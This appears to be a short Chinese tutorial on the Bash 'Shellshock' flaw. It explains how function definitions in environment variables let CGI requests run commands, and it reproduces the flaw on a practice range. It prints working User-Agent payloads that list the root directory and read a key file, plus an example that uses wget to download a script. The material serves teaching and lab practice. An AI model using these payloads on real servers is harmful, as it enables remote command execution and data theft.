漏洞描述:Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令,在一些cgi脚本中,数据是通过环境变量来传递的,这样就会形成该漏洞
漏洞原理:bash通过以函数名作为环境变量名,以“(){”(bash只有在遇到特殊的环境变量才会触发该漏洞)开头的字串作为环境变量的值来将函数定义导出为环境变量。而该漏洞就在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。 比如:(){:;};wget http://127.0.0.1/test.sh 服务器在处理这个请求的时候,会执行wget命令,就会把这个test.sh下载下来
漏洞攻击:抓包修改user-agent内容
漏洞防御:升级版本:
示例:在一个靶场复现该漏洞
第一种方法:
这是一个存在该漏洞的网站,我们需要去找一下有cgi的页面,如下图:
抓包,将User-Agent的改成 () { :;}; echo; /bin/ls /
"/bin/ls /"是调用ls查看所有文件
查看key.txt:() { :;}; echo; /bin/cat /key.txt,成功得到key